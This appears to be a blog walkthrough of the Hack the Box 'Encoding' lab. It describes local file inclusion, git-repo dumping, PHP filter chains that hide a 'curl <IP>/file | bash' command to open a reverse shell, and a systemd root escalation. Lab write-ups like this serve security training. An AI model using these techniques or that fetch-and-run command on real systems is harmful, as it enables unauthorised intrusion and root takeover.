In this post, I would like to share a walkthrough of the Encoding Machine from Hack the Box

This room will be considered a medium machine on Hack the Box

What will you gain from the Encoding machine?

For the user flag, you will find a file read vulnerability and take advantage of the vulnerability that managed to find a git repo from the website. After that, we can git-dumper the git repo and manage to identify a new URL which leads to the Local File Include vulnerability. We also managed to execute a Server-Side Request Forgery vulnerability and retrieve execution by using the PHP filter chains generator script.

As for the root flag, you need to abuse the unexpected behavior from the PHP parse_url function

Information Gathering on Encoding Machine

Once we have started the VPN connection which requires a download from Hackthebox, we can start the information gathering on the machine by executing the command nmap -sC -sV -p- <IP Address> -PN

Let’s try to access the website interface.

The website interface doesn’t have anything interesting at the first glance.

There is some useful information when we try to access the home function.

Sadly, we didn’t find any interesting that we can abuse when we enumerate the directory with gobuster

Therefore, let’s try to enumerate any subdomain that is available with the gobuster command as shown above.

There are a lot of directories that return the status of 403

However, we also didn’t find any directory under the image.haxtables.htb

We should enumerate the content of the subdomain of api.haxtables.htb website which is nothing much we can analyze into.

All the website that i visited is all forbidden to the public

Local File Inclusion Vulnerability

From the gobuster output, i managed to sight the handler.php file

Based on the website data, i did notice that the JSON data will be something as above


From the information above, we can presume that it’s vulnerable to Local File Inclusion

After analyzing the handler.php file, i notice that we can get a Local File Inclusion by adding the injection under the uri_path json information.

As shown in the screenshot, we also should be able to find the domain that we sighted earlier.

Sadly, we cannot get to see index.php under the subdomain of the image

As a result, we should be playing the Python script which will help us to read the content that we cannot see via burpsuite. From the index.php file, we managed to notice there’s another file that utils.php which we should be looking into.

We have sighted that the server got a git file which we can take advantage of later.

We have seen the script that uses within the git-commit file.

Extract the information on GIT by using git-dumper

Therefore, we can download the git directory by using the git-dumper

The screenshot above shows the file that managed to download on our attacker’s machine

Let’s create a file that contains the reverse shell command which we should be getting it back

We should be using the PHP filter chain generator to hide the command

Therefore, let’s start our PHP server

We should hide the command curl <IP>/file | bash which it will lead us to get some php filter convert as shown above.

Let’s start our listener on our attacker’s machine.

Let’s copy-paste the PHP filter on the burpsuite and the response has been hanging for some reason.

As a result, we should rename the file from darknite into d file naming which might work as we expected.

It still hung as we look saw earlier.

We are looking for a PHP server that will give some response.

Boom! We have successfully accessed the server via a reverse shell connection.

Let’s try to get any SUID binary that we can abuse by running the “sudo -l” command.

Let’s start our new nc listener on our attacker’s machine.

Python file will contain the code as shown above.

We should execute the command above to execute.

Sadly, the doesn’t work as we expected. As a result, let’s change the into so that we can exploit it

The file that we managed to upload into the victim’s machine is execution access.

As a result, we should be able to retrieve the reverse shell connection by running the command above.

Finally, we have successfully retrieved the reverse shell connection back to us.

We can read the user flag by typing the “cat user.txt” command

Escalate to Root Privileges Access

We managed to see a lot of file inside the /etc/systemd/system directory

The context will looking something as shown in the screenshot above.

After doing some research, i managed to find a walkthrough for the systemd path escalation which can be found here

As a result, we should be creating a file in which the content will look something like the above.

Therefore, let’s execute the /bin/bash -p which leads to root privileges access

We can read the root flag by typing the “cat root.txt” command

Extra Information